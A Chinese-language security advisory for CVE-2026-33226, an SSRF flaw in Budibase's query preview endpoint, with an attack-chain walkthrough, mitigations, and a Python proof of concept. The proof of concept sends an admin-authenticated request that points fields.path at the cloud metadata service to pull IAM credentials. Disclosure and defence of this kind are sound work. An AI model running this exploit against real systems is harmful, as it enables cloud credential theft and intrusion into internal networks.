IPBUF安全漏洞报告
English
CVE-2026-33226 CVSS 8.7 高危

CVE-2026-33226 Budibase SSRF漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33226
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.7 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Budibase

相关标签

SSRFBudibase低代码平台云元数据窃取内网渗透CVE-2026-33226

漏洞概述

Budibase是一个用于创建内部工具的低代码平台。在3.30.6及之前版本中,存在严重的SSRF漏洞。攻击者利用REST数据源查询预览端点,可向任意URL发起服务端请求。尽管需管理员权限,但这允许访问未暴露的内部服务、云元数据端点及Kubernetes API。在GCP环境下,可导致OAuth2令牌窃取,实现对云平台的完全访问。此外,该漏洞还能用于全面枚举内部网络。目前尚无公开补丁。

技术细节

该漏洞源于Budibase的REST数据源查询预览功能(POST /api/queries/preview)对用户输入的`fields.path`参数缺乏有效的验证。攻击者需先获取经过身份验证的管理员权限(PR:H)。随后,通过构造恶意请求,将`fields.path`设置为内部网络地址或云元数据服务地址(如169.254.169.254)。服务器端接收请求后,会代为访问该目标地址并返回响应。利用此漏洞,攻击者可绕过网络边界防御,读取云实例凭证(如AWS/GCP/Azure的角色临时凭证),探测内网服务,或访问Kubernetes API,从而导致数据泄露或进一步的内网横向移动。

攻击链分析

STEP 1
1. 获取凭证
攻击者通过钓鱼或其他手段获取Budibase平台的具有管理员权限的账户凭证。
STEP 2
2. 构造请求
攻击者向/api/queries/preview端点发送POST请求,在fields.path参数中填入内网敏感地址(如云元数据服务)。
STEP 3
3. 服务端请求
Budibase服务器接收请求后,未进行校验即代为访问攻击者指定的内网地址。
STEP 4
4. 数据回传
内网服务(如元数据API)返回敏感信息(如临时凭证),Budibase服务器将其返回给攻击者。
STEP 5
5. 扩展利用
攻击者利用获取的凭证访问云资源,或利用SSRF进一步扫描和入侵内部网络其他资产。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Budibase instance target_url = "http://vulnerable-budibase-instance.com/api/queries/preview" # Malicious URL pointing to AWS Metadata Service (Internal SSRF) # Can be changed to GCP/Azure metadata or internal database addresses ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Headers with a valid Admin authentication token headers = { "Authorization": "Bearer <VALID_ADMIN_JWT_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # JSON payload containing the malicious path data = { "fields": { "path": ssrf_payload }, "datasourceId": "<DATASOURCE_ID>", "queryId": "<QUERY_ID>" } try: # Sending the POST request to trigger the SSRF response = requests.post(target_url, json=data, headers=headers, timeout=10) # Checking if the request was successful if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Budibase <= 3.30.6

防御指南

临时缓解措施
建议立即在操作系统或云平台层面禁用实例的元数据服务访问(除非业务必须),或启用IMDSv2(AWS)等强制跳转机制。在应用防火墙中配置规则,拦截发往内部网段(如127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)的HTTP请求。同时,加强对管理员账户的监控,防止凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表